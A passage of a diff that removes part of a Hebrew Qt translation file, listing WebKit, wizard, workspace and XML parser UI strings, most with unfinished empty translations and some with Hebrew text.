- <source>Insert Unicode control character</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>QWebFrame</name>
- <message>
- <location filename="../src/3rdparty/webkit/WebKit/qt/WebCoreSupport/FrameLoaderClientQt.cpp" line="+692"/>
- <source>Request cancelled</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+17"/>
- <source>Request blocked</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+7"/>
- <source>Cannot show URL</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+6"/>
- <source>Frame load interruped by policy change</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+6"/>
- <source>Cannot show mimetype</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+6"/>
- <source>File does not exist</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>QWebPage</name>
- <message>
- <location filename="../src/3rdparty/webkit/WebCore/platform/network/qt/QNetworkReplyHandler.cpp" line="+382"/>
- <source>Bad HTTP request</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/3rdparty/webkit/WebCore/platform/qt/Localizations.cpp" line="+42"/>
- <source>Submit</source>
- <comment>default label for Submit buttons in forms on web pages</comment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+5"/>
- <source>Submit</source>
- <comment>Submit (input element) alt text for &lt;input&gt; elements with no alt, title, or value</comment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+5"/>
- <source>Reset</source>
- <comment>default label for Reset buttons in forms on web pages</comment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+10"/>
- <source>This is a searchable index. Enter search keywords: </source>
- <comment>text that appears at the start of nearly-obsolete web pages in the form of a &apos;searchable index&apos;</comment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+5"/>
- <source>Choose File</source>
- <comment>title for file button used in HTML forms</comment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+5"/>
- <source>No file selected</source>
- <comment>text to display in file button used in HTML forms when no file is selected</comment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+5"/>
- <source>Open in New Window</source>
- <comment>Open in New Window context menu item</comment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+5"/>
- <source>Save Link...</source>
- <comment>Download Linked File context menu item</comment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+5"/>
- <source>Copy Link</source>
- <comment>Copy Link context menu item</comment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+5"/>
- <source>Open Image</source>
- <comment>Open Image in New Window context menu item</comment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+5"/>
- <source>Save Image</source>
- <comment>Download Image context menu item</comment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+5"/>
- <source>Copy Image</source>
- <comment>Copy Link context menu item</comment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+5"/>
- <source>Open Frame</source>
- <comment>Open Frame in New Window context menu item</comment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+5"/>
- <source>Copy</source>
- <comment>Copy context menu item</comment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+5"/>
- <source>Go Back</source>
- <comment>Back context menu item</comment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+5"/>
- <source>Go Forward</source>
- <comment>Forward context menu item</comment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+5"/>
- <source>Stop</source>
- <comment>Stop context menu item</comment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+5"/>
- <source>Reload</source>
- <comment>Reload context menu item</comment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+5"/>
- <source>Cut</source>
- <comment>Cut context menu item</comment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+5"/>
- <source>Paste</source>
- <comment>Paste context menu item</comment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+5"/>
- <source>No Guesses Found</source>
- <comment>No Guesses Found context menu item</comment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+5"/>
- <source>Ignore</source>
- <comment>Ignore Spelling context menu item</comment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+5"/>
- <source>Add To Dictionary</source>
- <comment>Learn Spelling context menu item</comment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+5"/>
- <source>Search The Web</source>
- <comment>Search The Web context menu item</comment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+5"/>
- <source>Look Up In Dictionary</source>
- <comment>Look Up in Dictionary context menu item</comment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+5"/>
- <source>Open Link</source>
- <comment>Open Link context menu item</comment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+5"/>
- <source>Ignore</source>
- <comment>Ignore Grammar context menu item</comment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+5"/>
- <source>Spelling</source>
- <comment>Spelling and Grammar context sub-menu item</comment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+5"/>
- <source>Show Spelling and Grammar</source>
- <comment>menu item title</comment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Hide Spelling and Grammar</source>
- <comment>menu item title</comment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+5"/>
- <source>Check Spelling</source>
- <comment>Check spelling context menu item</comment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+5"/>
- <source>Check Spelling While Typing</source>
- <comment>Check spelling while typing context menu item</comment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+5"/>
- <source>Check Grammar With Spelling</source>
- <comment>Check grammar with spelling context menu item</comment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+5"/>
- <source>Fonts</source>
- <comment>Font context sub-menu item</comment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+5"/>
- <source>Bold</source>
- <comment>Bold context menu item</comment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+5"/>
- <source>Italic</source>
- <comment>Italic context menu item</comment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+5"/>
- <source>Underline</source>
- <comment>Underline context menu item</comment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+5"/>
- <source>Outline</source>
- <comment>Outline context menu item</comment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+5"/>
- <source>Direction</source>
- <comment>Writing direction context sub-menu item</comment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+5"/>
- <source>Text Direction</source>
- <comment>Text direction context sub-menu item</comment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+5"/>
- <source>Default</source>
- <comment>Default writing direction context menu item</comment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+5"/>
- <source>LTR</source>
- <comment>Left to Right context menu item</comment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+5"/>
- <source>RTL</source>
- <comment>Right to Left context menu item</comment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+5"/>
- <source>Inspect</source>
- <comment>Inspect Element context menu item</comment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+5"/>
- <source>No recent searches</source>
- <comment>Label for only item in menu that appears when clicking on the search field image, when no searches have been performed</comment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+5"/>
- <source>Recent searches</source>
- <comment>label for first item in the menu that appears when clicking on the search field image, used as embedded menu title</comment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+5"/>
- <source>Clear recent searches</source>
- <comment>menu item in Recent Searches menu that empties menu&apos;s contents</comment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+75"/>
- <source>Unknown</source>
- <comment>Unknown filesize FTP directory listing item</comment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+5"/>
- <source>%1 (%2x%3 pixels)</source>
- <comment>Title string for images</comment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/3rdparty/webkit/WebKit/qt/WebCoreSupport/InspectorClientQt.cpp" line="+185"/>
- <source>Web Inspector - %2</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/3rdparty/webkit/WebCore/platform/qt/ScrollbarQt.cpp" line="+58"/>
- <source>Scroll here</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Left edge</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+0"/>
- <source>Top</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Right edge</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+0"/>
- <source>Bottom</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Page left</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+0"/>
- <source>Page up</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Page right</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+0"/>
- <source>Page down</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Scroll left</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+0"/>
- <source>Scroll up</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Scroll right</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+0"/>
- <source>Scroll down</source>
- <translation type="unfinished"></translation>
- </message>
- <message numerus="yes">
- <location filename="../src/3rdparty/webkit/WebCore/platform/qt/FileChooserQt.cpp" line="+45"/>
- <source>%n file(s)</source>
- <comment>number of chosen file</comment>
- <translation type="unfinished">
- <numerusform></numerusform>
- </translation>
- </message>
- <message>
- <location filename="../src/3rdparty/webkit/WebKit/qt/Api/qwebpage.cpp" line="+1322"/>
- <source>JavaScript Alert - %1</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+15"/>
- <source>JavaScript Confirm - %1</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+17"/>
- <source>JavaScript Prompt - %1</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+333"/>
- <source>Move the cursor to the next character</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Move the cursor to the previous character</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Move the cursor to the next word</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Move the cursor to the previous word</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Move the cursor to the next line</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Move the cursor to the previous line</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Move the cursor to the start of the line</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Move the cursor to the end of the line</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Move the cursor to the start of the block</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Move the cursor to the end of the block</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Move the cursor to the start of the document</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Move the cursor to the end of the document</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Select all</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Select to the next character</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Select to the previous character</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Select to the next word</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Select to the previous word</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Select to the next line</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Select to the previous line</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Select to the start of the line</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Select to the end of the line</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Select to the start of the block</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Select to the end of the block</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Select to the start of the document</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Select to the end of the document</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Delete to the start of the word</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Delete to the end of the word</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+33"/>
- <source>Insert a new paragraph</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Insert a new line</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>QWhatsThisAction</name>
- <message>
- <location filename="../src/gui/kernel/qwhatsthis.cpp" line="+522"/>
- <source>What&apos;s This?</source>
- <translation type="unfinished">מה זה?</translation>
- </message>
-</context>
-<context>
- <name>QWidget</name>
- <message>
- <location filename="../src/gui/kernel/qwidget.cpp" line="+5326"/>
- <source>*</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>QWizard</name>
- <message>
- <location filename="../src/gui/dialogs/qwizard.cpp" line="+649"/>
- <source>Cancel</source>
- <translation type="unfinished">ביטול</translation>
- </message>
- <message>
- <location line="+2"/>
- <source>Help</source>
- <translation type="unfinished">עזרה</translation>
- </message>
- <message>
- <location line="-14"/>
- <source>Go Back</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Continue</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+5"/>
- <source>Commit</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+2"/>
- <source>Done</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="-10"/>
- <source>&lt; &amp;Back</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+10"/>
- <source>&amp;Finish</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+4"/>
- <source>&amp;Help</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="-8"/>
- <source>&amp;Next</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+0"/>
- <source>&amp;Next &gt;</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>QWorkspace</name>
- <message>
- <location filename="../src/gui/widgets/qworkspace.cpp" line="+1094"/>
- <source>&amp;Restore</source>
- <translation type="unfinished">ש&amp;חזר</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>&amp;Move</source>
- <translation type="unfinished">ה&amp;זז</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>&amp;Size</source>
- <translation type="unfinished">&amp;שנה גודל</translation>
- </message>
- <message>
- <location line="+2"/>
- <source>Mi&amp;nimize</source>
- <translation type="unfinished">&amp;מזער</translation>
- </message>
- <message>
- <location line="+2"/>
- <source>Ma&amp;ximize</source>
- <translation type="unfinished">&amp;הגדל</translation>
- </message>
- <message>
- <location line="+2"/>
- <source>&amp;Close</source>
- <translation type="unfinished">&amp;סגור</translation>
- </message>
- <message>
- <location line="+6"/>
- <source>Stay on &amp;Top</source>
- <translation type="unfinished">&amp;תמיד עליון</translation>
- </message>
- <message>
- <location line="+3"/>
- <location line="+1059"/>
- <source>Sh&amp;ade</source>
- <translation type="unfinished">&amp;גלול</translation>
- </message>
- <message>
- <location line="-278"/>
- <location line="+60"/>
- <source>%1 - [%2]</source>
- <translation>%1 - [%2]</translation>
- </message>
- <message>
- <location line="-1837"/>
- <source>Minimize</source>
- <translation type="unfinished">מזער</translation>
- </message>
- <message>
- <location line="+2"/>
- <source>Restore Down</source>
- <translation type="unfinished">שחזר למטה</translation>
- </message>
- <message>
- <location line="-4"/>
- <source>Close</source>
- <translation type="unfinished">סגור</translation>
- </message>
- <message>
- <location line="+2053"/>
- <source>&amp;Unshade</source>
- <translation type="unfinished">&amp;בטל גלילה</translation>
- </message>
-</context>
-<context>
- <name>QXml</name>
- <message>
- <location filename="../src/xml/sax/qxml.cpp" line="+58"/>
- <source>no error occurred</source>
- <translation>לא אירעה כל שגיאה</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>error triggered by consumer</source>
- <translation>נגרמה שגיאה על ידי הצרכן</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>unexpected end of file</source>
- <translation>סוף קובץ לא צפוי</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>more than one document type definition</source>
- <translation>יותר מהגדרה אחת של סוג מסמך</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>error occurred while parsing element</source>
- <translation>אירעה שגיאה בעת עיבוד המרכיב</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>tag mismatch</source>
- <translation>אי-התאמה בתגית</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>error occurred while parsing content</source>
- <translation>אירעה שגיאה בעת עיבוד התוכן</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>unexpected character</source>
- <translation>תו לא צפוי</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>invalid name for processing instruction</source>
- <translation>שם לא תקף עבור הוראת העיבוד</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>version expected while reading the XML declaration</source>
- <translation>הייתה צפויה גירסה בעת קריאה ההכרזה על XML</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>wrong value for standalone declaration</source>
- <translation>ערך שגוי עבור ההגדרה העצמאית</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>encoding declaration or standalone declaration expected while reading the XML declaration</source>
- <translation>הייתה צפויה הכרזה על קידוד או הכרזה עצמאית בעת קריאת ההכרזה על XML</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>standalone declaration expected while reading the XML declaration</source>
- <translation>הייתה צפויה הכרזה עצמאית בעת קריאת ההכרזה על XML</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>error occurred while parsing document type definition</source>
- <translation>אירעה שגיאה בעת עיבוד הגדרת סוג המסמך</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>letter is expected</source>
- <translation>הייתה צפויה אות</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>error occurred while parsing comment</source>
- <translation>אירעה שגיאה בעת עיבוד ההערה</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>error occurred while parsing reference</source>
- <translation>אירעה שגיאה בעת עיבוד ההתייחסות</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>internal general entity reference not allowed in DTD</source>
- <translation>התייחסות ליישות כללית פנימית אינה מותרת ב-DTD</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>external parsed general entity reference not allowed in attribute value</source>
- <translation>התייחסות ליישות כללית מעובדת חיצונית אינה מותרת בערך המאפיין</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>external parsed general entity reference not allowed in DTD</source>
- <translation>התייחסות ליישות כללית מעובדת חיצונית אינה מותרת ב-DTD</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>unparsed entity reference in wrong context</source>
- <translation>התייחסות ליישות לא מעובדת בהקשר שגוי</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>recursive entities</source>
- <translation>יישות רקורסיבית</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>error in the text declaration of an external entity</source>
- <translation>שגיאה בהכרזת טקסט של יישות חיצונית</translation>
- </message>
-</context>
-<context>
- <name>QXmlStream</name>
- <message>
- <location filename="../src/corelib/xml/qxmlstream.cpp" line="+592"/>
- <location filename="../src/corelib/xml/qxmlstream_p.h" line="+1769"/>
- <source>Extra content at end of document.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+222"/>
- <source>Invalid entity value.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+107"/>
- <source>Invalid XML character.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+259"/>
- <source>Sequence &apos;]]&gt;&apos; not allowed in content.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+309"/>
- <source>Namespace prefix &apos;%1&apos; not declared</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+78"/>
- <source>Attribute redefined.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+115"/>
- <source>Unexpected character &apos;%1&apos; in public id literal.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+28"/>
- <source>Invalid XML version string.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+2"/>
- <source>Unsupported XML version.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+23"/>
- <source>%1 is an invalid encoding name.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+7"/>
- <source>Encoding %1 is unsupported</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+16"/>
- <source>Standalone accepts only yes or no.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+2"/>
- <source>Invalid attribute in XML declaration.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+16"/>
- <source>Premature end of document.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+2"/>
- <source>Invalid document.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+40"/>
- <source>Expected </source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+11"/>
- <source>, but got &apos;</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+4"/>
- <source>Unexpected &apos;</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+210"/>
- <source>Expected character data.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/corelib/xml/qxmlstream_p.h" line="-995"/>
- <source>Recursive entity detected.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+516"/>
- <source>Start tag expected.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+222"/>
- <source>XML declaration not at start of document.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="-31"/>
- <source>NDATA in parameter entity declaration.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+34"/>
- <source>%1 is an invalid processing instruction name.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+11"/>
- <source>Invalid processing instruction name.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/corelib/xml/qxmlstream.cpp" line="-521"/>
- <location line="+12"/>
- <location filename="../src/corelib/xml/qxmlstream_p.h" line="+164"/>
- <location line="+53"/>
- <source>Illegal namespace declaration.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/corelib/xml/qxmlstream_p.h" line="+15"/>
- <source>Invalid XML name.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+23"/>
- <source>Opening and ending tag mismatch.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+18"/>
- <source>Reference to unparsed entity &apos;%1&apos;.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="-13"/>
- <location line="+61"/>
- <location line="+40"/>
- <source>Entity &apos;%1&apos; not declared.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="-26"/>
- <source>Reference to external entity &apos;%1&apos; in attribute value.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+40"/>
- <source>Invalid character reference.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/corelib/xml/qxmlstream.cpp" line="-75"/>
- <location filename="../src/corelib/xml/qxmlstream_p.h" line="-823"/>
- <source>Encountered incorrectly encoded content.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+274"/>
- <source>The standalone pseudo attribute must appear after the encoding.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/corelib/xml/qxmlstream_p.h" line="+562"/>
- <source>%1 is an invalid PUBLIC identifier.</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>QtXmlPatterns</name>
- <message>
- <location filename="../src/xmlpatterns/acceltree/qacceltreebuilder.cpp" line="+205"/>
- <source>An %1-attribute with value %2 has already been declared.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+13"/>
- <source>An %1-attribute must have a valid %2 as value, which %3 isn&apos;t.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/xmlpatterns/api/qiodevicedelegate.cpp" line="+84"/>
- <source>Network timeout.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/xmlpatterns/api/qxmlserializer.cpp" line="+320"/>
- <source>Element %1 can&apos;t be serialized because it appears outside the document element.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+60"/>
- <source>Attribute %1 can&apos;t be serialized because it appears at the top level.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/xmlpatterns/data/qabstractdatetime.cpp" line="+80"/>
- <source>Year %1 is invalid because it begins with %2.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+19"/>
- <source>Day %1 is outside the range %2..%3.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+7"/>
- <source>Month %1 is outside the range %2..%3.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+10"/>
- <source>Overflow: Can&apos;t represent date %1.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+9"/>
- <source>Day %1 is invalid for month %2.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+49"/>
- <source>Time 24:%1:%2.%3 is invalid. Hour is 24, but minutes, seconds, and milliseconds are not all 0; </source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+13"/>
- <source>Time %1:%2:%3.%4 is invalid.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+115"/>
- <source>Overflow: Date can&apos;t be represented.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/xmlpatterns/data/qabstractduration.cpp" line="+99"/>
- <location line="+15"/>
- <source>At least one component must be present.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="-7"/>
- <source>At least one time component must appear after the %1-delimiter.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/xmlpatterns/data/qabstractfloatmathematician.cpp" line="+64"/>
- <source>No operand in an integer division, %1, can be %2.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+7"/>
- <source>The first operand in an integer division, %1, cannot be infinity (%2).</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+6"/>
- <source>The second operand in a division, %1, cannot be zero (%2).</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/xmlpatterns/data/qanyuri_p.h" line="+132"/>
- <source>%1 is not a valid value of type %2.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/xmlpatterns/data/qatomiccasters_p.h" line="+223"/>
- <source>When casting to %1 from %2, the source value cannot be %3.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/xmlpatterns/data/qatomicmathematicians.cpp" line="+65"/>
- <source>Integer division (%1) by zero (%2) is undefined.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+7"/>
- <source>Division (%1) by zero (%2) is undefined.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+7"/>
- <source>Modulus division (%1) by zero (%2) is undefined.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+122"/>
- <location line="+32"/>
- <source>Dividing a value of type %1 by %2 (not-a-number) is not allowed.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="-20"/>
- <source>Dividing a value of type %1 by %2 or %3 (plus or minus zero) is not allowed.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+32"/>
- <source>Multiplication of a value of type %1 by %2 or %3 (plus or minus infinity) is not allowed.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/xmlpatterns/data/qatomicvalue.cpp" line="+79"/>
- <source>A value of type %1 cannot have an Effective Boolean Value.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/xmlpatterns/data/qboolean.cpp" line="+78"/>
- <source>Effective Boolean Value cannot be calculated for a sequence containing two or more atomic values.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/xmlpatterns/data/qderivedinteger_p.h" line="+402"/>
- <source>Value %1 of type %2 exceeds maximum (%3).</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+9"/>
- <source>Value %1 of type %2 is below minimum (%3).</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/xmlpatterns/data/qhexbinary.cpp" line="+91"/>
- <source>A value of type %1 must contain an even number of digits. The value %2 does not.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+19"/>
- <source>%1 is not valid as a value of type %2.</source>
